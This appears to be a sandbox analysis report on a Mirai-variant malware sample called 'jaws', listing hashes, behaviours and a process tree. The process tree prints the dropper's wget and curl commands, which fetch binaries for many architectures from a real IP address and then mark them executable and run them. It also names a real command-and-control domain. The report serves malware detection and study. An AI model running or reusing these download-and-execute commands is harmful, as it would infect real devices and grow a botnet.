Analysis
-
max time kernel
149s -
max time network
152s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
30-08-2024 05:17
Static task
static1
Behavioral task
behavioral1
Sample
jaws
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
jaws
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
jaws
Resource
debian9-mipsbe-20240611-en
General
-
Target
jaws
-
Size
3KB
-
MD5
4429a8d8a1c145c7f2135f7b93910618
-
SHA1
f4a829f7fe5f475e1fc63661218303e41779de65
-
SHA256
5f146a25218b14546812329e55b5d4b8b0e4b1caf182e4681295efa2d461b0cf
-
SHA512
5c486e279036afbf60f6c1737141f9613f748bc8b2f6f493b10b7e69556f6df4cb2fe8c2f20846bba5ac46337bc08109cb9f0e81db7ff267a2aed2242c0affc5
Malware Config
Extracted
mirai
UNSTABLE
fbi.condi.network
Signatures
-
Contacts a large (145478) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Executes dropped EXE 13 IoCs
ioc pid Process /tmp/hiroz3x 1483 hiroz3x /tmp/hiroz3x 1494 hiroz3x /tmp/hiroz3x 1500 hiroz3x /tmp/hiroz3x 1506 hiroz3x /tmp/hiroz3x 1513 hiroz3x /tmp/hiroz3x 1519 hiroz3x /tmp/hiroz3x 1525 hiroz3x /tmp/hiroz3x 1531 hiroz3x /tmp/hiroz3x 1537 hiroz3x /tmp/hiroz3x 1542 hiroz3x /tmp/hiroz3x 1547 hiroz3x /tmp/hiroz3x 1564 hiroz3x /tmp/hiroz3x 1569 hiroz3x -
Modifies Watchdog functionality 1 TTPs 4 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog hiroz3x File opened for modification /dev/misc/watchdog hiroz3x File opened for modification /dev/watchdog hiroz3x File opened for modification /dev/misc/watchdog hiroz3x -
resource yara_rule behavioral1/files/fstream-1.dat upx behavioral1/files/fstream-4.dat upx behavioral1/files/fstream-5.dat upx behavioral1/files/fstream-6.dat upx behavioral1/files/fstream-7.dat upx -
Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp hiroz3x -
Enumerates running processes
Discovers information about currently running processes on the system
-
Writes file to system bin folder 1 TTPs 4 IoCs
description ioc Process File opened for modification /sbin/watchdog hiroz3x File opened for modification /bin/watchdog hiroz3x File opened for modification /sbin/watchdog hiroz3x File opened for modification /bin/watchdog hiroz3x -
Changes its process name 2 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself a 1483 hiroz3x Changes the process name, possibly in an attempt to hide itself a 1547 hiroz3x -
Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp hiroz3x -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
description ioc Process File opened for reading /proc/439/cmdline hiroz3x File opened for reading /proc/1042/cmdline hiroz3x File opened for reading /proc/1070/cmdline hiroz3x File opened for reading /proc/1125/cmdline hiroz3x File opened for reading /proc/452/cmdline hiroz3x File opened for reading /proc/627/cmdline hiroz3x File opened for reading /proc/1154/cmdline hiroz3x File opened for reading /proc/1355/cmdline hiroz3x File opened for reading /proc/532/cmdline hiroz3x File opened for reading /proc/1622/cmdline hiroz3x File opened for reading /proc/693/cmdline hiroz3x File opened for reading /proc/982/cmdline hiroz3x File opened for reading /proc/1459/cmdline hiroz3x File opened for reading /proc/665/cmdline hiroz3x File opened for reading /proc/1168/cmdline hiroz3x File opened for reading /proc/1467/cmdline hiroz3x File opened for reading /proc/1233/cmdline hiroz3x File opened for reading /proc/1572/cmdline hiroz3x File opened for reading /proc/1133/cmdline hiroz3x File opened for reading /proc/1162/cmdline hiroz3x File opened for reading /proc/1463/cmdline hiroz3x File opened for reading /proc/652/cmdline hiroz3x File opened for reading /proc/1176/cmdline hiroz3x File opened for reading /proc/1130/cmdline hiroz3x File opened for reading /proc/1489/cmdline hiroz3x File opened for reading /proc/1135/cmdline hiroz3x File opened for reading /proc/1233/cmdline hiroz3x File opened for reading /proc/1578/cmdline hiroz3x File opened for reading /proc/500/cmdline hiroz3x File opened for reading /proc/500/cmdline hiroz3x File opened for reading /proc/1148/cmdline hiroz3x File opened for reading /proc/1311/cmdline hiroz3x File opened for reading /proc/1059/cmdline hiroz3x File opened for reading /proc/1278/cmdline hiroz3x File opened for reading /proc/1460/cmdline hiroz3x File opened for reading /proc/1634/cmdline hiroz3x File opened for reading /proc/562/cmdline hiroz3x File opened for reading /proc/449/cmdline hiroz3x File opened for reading /proc/1130/cmdline hiroz3x File opened for reading /proc/1267/cmdline hiroz3x File opened for reading /proc/1324/cmdline hiroz3x File opened for reading /proc/967/cmdline hiroz3x File opened for reading /proc/1267/cmdline hiroz3x File opened for reading /proc/1598/cmdline hiroz3x File opened for reading /proc/1026/cmdline hiroz3x File opened for reading /proc/1467/cmdline hiroz3x File opened for reading /proc/1547/cmdline hiroz3x File opened for reading /proc/1460/cmdline hiroz3x File opened for reading /proc/417/cmdline hiroz3x File opened for reading /proc/486/cmdline hiroz3x File opened for reading /proc/518/cmdline hiroz3x File opened for reading /proc/1355/cmdline hiroz3x File opened for reading /proc/1059/cmdline hiroz3x File opened for reading /proc/1168/cmdline hiroz3x File opened for reading /proc/697/cmdline hiroz3x File opened for reading /proc/652/cmdline hiroz3x File opened for reading /proc/1046/cmdline hiroz3x File opened for reading /proc/1079/cmdline hiroz3x File opened for reading /proc/1148/cmdline hiroz3x File opened for reading /proc/1558/cmdline hiroz3x File opened for reading /proc/1592/cmdline hiroz3x File opened for reading /proc/1616/cmdline hiroz3x File opened for reading /proc/627/cmdline hiroz3x File opened for reading /proc/1066/cmdline hiroz3x -
Writes file to tmp directory 23 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/hiroz3x jaws File opened for modification /tmp/h0r0zx00x.mpsl curl File opened for modification /tmp/h0r0zx00x.arm5 wget File opened for modification /tmp/h0r0zx00x.arm7 wget File opened for modification /tmp/h0r0zx00x.sh4 curl File opened for modification /tmp/h0r0zx00x.arc curl File opened for modification /tmp/h0r0zx00x.x86 wget File opened for modification /tmp/h0r0zx00x.x86 curl File opened for modification /tmp/h0r0zx00x.arm6 wget File opened for modification /tmp/h0r0zx00x.i686 wget File opened for modification /tmp/h0r0zx00x.i686 curl File opened for modification /tmp/h0r0zx00x.mips wget File opened for modification /tmp/h0r0zx00x.mpsl wget File opened for modification /tmp/h0r0zx00x.arm wget File opened for modification /tmp/h0r0zx00x.arm curl File opened for modification /tmp/h0r0zx00x.arm5 curl File opened for modification /tmp/h0r0zx00x.ppc wget File opened for modification /tmp/h0r0zx00x.m68k curl File opened for modification /tmp/h0r0zx00x.spc curl File opened for modification /tmp/h0r0zx00x.mips curl File opened for modification /tmp/h0r0zx00x.arm6 curl File opened for modification /tmp/h0r0zx00x.arm7 curl File opened for modification /tmp/h0r0zx00x.ppc curl
Processes
-
/tmp/jaws/tmp/jaws1⤵
- Writes file to tmp directory
PID:1465 -
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.x862⤵
- Writes file to tmp directory
PID:1466
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.x862⤵
- Writes file to tmp directory
PID:1468
-
-
/bin/catcat h0r0zx00x.x862⤵PID:1481
-
-
/bin/chmodchmod +x config-err-KaZKo5 h0r0zx00x.x86 hiroz3x jaws netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-XbnyHL2⤵PID:1482
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Changes its process name
- Reads runtime system information
PID:1483
-
-
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips2⤵
- Writes file to tmp directory
PID:1485
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips2⤵
- Writes file to tmp directory
PID:1491
-
-
/bin/catcat h0r0zx00x.mips2⤵PID:1492
-
-
/bin/chmodchmod +x config-err-KaZKo5 h0r0zx00x.mips h0r0zx00x.x86 hiroz3x jaws netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-XbnyHL2⤵PID:1493
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
PID:1494
-
-
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mpsl2⤵
- Writes file to tmp directory
PID:1496
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mpsl2⤵
- Writes file to tmp directory
PID:1497
-
-
/bin/catcat h0r0zx00x.mpsl2⤵PID:1498
-
-
/bin/chmodchmod +x config-err-KaZKo5 h0r0zx00x.mips h0r0zx00x.mpsl h0r0zx00x.x86 hiroz3x jaws netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-XbnyHL2⤵PID:1499
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
PID:1500
-
-
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.arm2⤵
- Writes file to tmp directory
PID:1502
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.arm2⤵
- Writes file to tmp directory
PID:1503
-
-
/bin/catcat h0r0zx00x.arm2⤵PID:1504
-
-
/bin/chmodchmod +x config-err-KaZKo5 h0r0zx00x.arm h0r0zx00x.mips h0r0zx00x.mpsl h0r0zx00x.x86 hiroz3x jaws netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-XbnyHL2⤵PID:1505
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
PID:1506
-
-
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.arm52⤵
- Writes file to tmp directory
PID:1508
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.arm52⤵
- Writes file to tmp directory
PID:1510
-
-
/bin/catcat h0r0zx00x.arm52⤵PID:1511
-
-
/bin/chmodchmod +x config-err-KaZKo5 h0r0zx00x.arm h0r0zx00x.arm5 h0r0zx00x.mips h0r0zx00x.mpsl h0r0zx00x.x86 hiroz3x jaws netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-XbnyHL2⤵PID:1512
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
PID:1513
-
-
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.arm62⤵
- Writes file to tmp directory
PID:1515
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.arm62⤵
- Writes file to tmp directory
PID:1516
-
-
/bin/catcat h0r0zx00x.arm62⤵PID:1517
-
-
/bin/chmodchmod +x config-err-KaZKo5 h0r0zx00x.arm h0r0zx00x.arm5 h0r0zx00x.arm6 h0r0zx00x.mips h0r0zx00x.mpsl h0r0zx00x.x86 hiroz3x jaws netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-XbnyHL2⤵PID:1518
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
PID:1519
-
-
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.arm72⤵
- Writes file to tmp directory
PID:1521
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.arm72⤵
- Writes file to tmp directory
PID:1522
-
-
/bin/catcat h0r0zx00x.arm72⤵PID:1523
-
-
/bin/chmodchmod +x config-err-KaZKo5 h0r0zx00x.arm h0r0zx00x.arm5 h0r0zx00x.arm6 h0r0zx00x.arm7 h0r0zx00x.mips h0r0zx00x.mpsl h0r0zx00x.x86 hiroz3x jaws netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-XbnyHL2⤵PID:1524
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
PID:1525
-
-
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.ppc2⤵
- Writes file to tmp directory
PID:1527
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.ppc2⤵
- Writes file to tmp directory
PID:1528
-
-
/bin/catcat h0r0zx00x.ppc2⤵PID:1529
-
-
/bin/chmodchmod +x config-err-KaZKo5 h0r0zx00x.arm h0r0zx00x.arm5 h0r0zx00x.arm6 h0r0zx00x.arm7 h0r0zx00x.mips h0r0zx00x.mpsl h0r0zx00x.ppc h0r0zx00x.x86 hiroz3x jaws netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-XbnyHL2⤵PID:1530
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
PID:1531
-
-
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.m68k2⤵PID:1533
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.m68k2⤵
- Writes file to tmp directory
PID:1534
-
-
/bin/catcat h0r0zx00x.m68k2⤵PID:1535
-
-
/bin/chmodchmod +x config-err-KaZKo5 h0r0zx00x.arm h0r0zx00x.arm5 h0r0zx00x.arm6 h0r0zx00x.arm7 h0r0zx00x.m68k h0r0zx00x.mips h0r0zx00x.mpsl h0r0zx00x.ppc h0r0zx00x.x86 hiroz3x jaws netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-XbnyHL2⤵PID:1536
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
PID:1537
-
-
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.spc2⤵PID:1538
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.spc2⤵
- Writes file to tmp directory
PID:1539
-
-
/bin/catcat h0r0zx00x.spc2⤵PID:1540
-
-
/bin/chmodchmod +x config-err-KaZKo5 h0r0zx00x.arm h0r0zx00x.arm5 h0r0zx00x.arm6 h0r0zx00x.arm7 h0r0zx00x.m68k h0r0zx00x.mips h0r0zx00x.mpsl h0r0zx00x.ppc h0r0zx00x.spc h0r0zx00x.x86 hiroz3x jaws netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-XbnyHL2⤵PID:1541
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
PID:1542
-
-
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.i6862⤵
- Writes file to tmp directory
PID:1543
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.i6862⤵
- Writes file to tmp directory
PID:1544
-
-
/bin/catcat h0r0zx00x.i6862⤵PID:1545
-
-
/bin/chmodchmod +x config-err-KaZKo5 h0r0zx00x.arm h0r0zx00x.arm5 h0r0zx00x.arm6 h0r0zx00x.arm7 h0r0zx00x.i686 h0r0zx00x.m68k h0r0zx00x.mips h0r0zx00x.mpsl h0r0zx00x.ppc h0r0zx00x.spc h0r0zx00x.x86 hiroz3x jaws netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-XbnyHL2⤵PID:1546
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Writes file to system bin folder
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:1547
-
-
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.sh42⤵PID:1555
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.sh42⤵
- Writes file to tmp directory
PID:1561
-
-
/bin/catcat h0r0zx00x.sh42⤵PID:1562
-
-
/bin/chmodchmod +x config-err-KaZKo5 h0r0zx00x.arm h0r0zx00x.arm5 h0r0zx00x.arm6 h0r0zx00x.arm7 h0r0zx00x.i686 h0r0zx00x.m68k h0r0zx00x.mips h0r0zx00x.mpsl h0r0zx00x.ppc h0r0zx00x.sh4 h0r0zx00x.spc h0r0zx00x.x86 hiroz3x jaws netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-NmrJeq systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-XbnyHL2⤵PID:1563
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
PID:1564
-
-
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.arc2⤵PID:1565
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.arc2⤵
- Writes file to tmp directory
PID:1566
-
-
/bin/catcat h0r0zx00x.arc2⤵PID:1567
-
-
/bin/chmodchmod +x config-err-KaZKo5 h0r0zx00x.arc h0r0zx00x.arm h0r0zx00x.arm5 h0r0zx00x.arm6 h0r0zx00x.arm7 h0r0zx00x.i686 h0r0zx00x.m68k h0r0zx00x.mips h0r0zx00x.mpsl h0r0zx00x.ppc h0r0zx00x.sh4 h0r0zx00x.spc h0r0zx00x.x86 hiroz3x jaws netplan_shzgbutu snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-NmrJeq systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-XbnyHL2⤵PID:1568
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
PID:1569
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
30KB
MD501b5ca96006efd6ecba70995ac395db5
SHA1c077939743bbdc1906b9cbd291e9e3c15b2ed613
SHA256e68a0410f0139792d1c821e2d577323eb034b2a030dfc5d8cc8b6215c2a933ec
SHA5127cbd89a82ab3ed0ed257cfbbb6a85b27d7a8e7af08c436a5d7104969e23269ad905d8551a1144116b950308daebc90f3515002aadcf65bff754e045714bbec44
-
Filesize
32KB
MD537942437a545b634350c1b0b80d8371f
SHA1deac7b16e9b9e718cc21de900f8e2e78ec6b41a7
SHA256805d483543b0940b25147f18257251a4c24ad857c65bb1286f9f794fa1643bbd
SHA512ba8cbe1e6744b2c6e5136ed739725988410ec0c259cfd89281b0c87c3bc4b3dd3fd15b2541a23953348a5305373f3fdbc02491ebaa6a64a8264d20f19f064fa0
-
Filesize
33KB
MD57e03a4fa6e42aa482775fe8fc656eb29
SHA168c1aec948d144ec9a2befedaeea0007b96bf8cf
SHA256f78f0bd098b133e70ee11e717bcb53430bc23c499942087473044d5dabe2ca01
SHA5123ba610f23ec82d6c6804e21b2625fa963e7187a9e750a16372154b3bb40743042dab1248c676b638ecc3db4d608bf19193f66a848e69e3a70a2076f084f2d2e2
-
Filesize
31KB
MD54568999226a40c97956934d7f3b623ed
SHA158cdfc30ccf6a12dec1dd929cbf3ceecece43d42
SHA25696abb7f10850173a8c7b4583e49d092a51d53c9bf863aca9162f14a934e7548e
SHA51277f728e4fa5a8c6fdcbbf6c34ea4987e4c1912da8bfd060d1dc7e639a0415f923984fca3079a87ee792d5e5817bddfeb9be02eda45c9d4c870a4c9de2e6e07c6
-
Filesize
27KB
MD5f5129e69c2a10c4ff4ff731d42ee5bed
SHA1a975cfe7e1e8c66b592d6e33c99a288738243980
SHA2567128b3640bac18912378cff5bfbead8a0ff169ef0dfd7ad9c16f79aa3d08ae4a
SHA5123fe57d032eed36553f39b99ca42ba77e30010626e9789a583eab3a417f13fa329a2479b3f2854b518a3a59098887e37f4e184c331539d72046925ad3afdead70
-
Filesize
54KB
MD58b19337d006d6fdc4e59c330efdaf6f9
SHA1e65b4fe930c51c7b56418cf9f713350524ee0f88
SHA256f0353e4f5b1447dbe82d3c056cb3701ad53473e4901fe79a7b42f20425f1c080
SHA512a86486b02b5c7e68dbe2f33364d75e208ede183cbc53ec0161d09444216f2d539305ae24fa58f9af41d2a0bc036da2023836e6db40f13ccc79d6cdf40067f888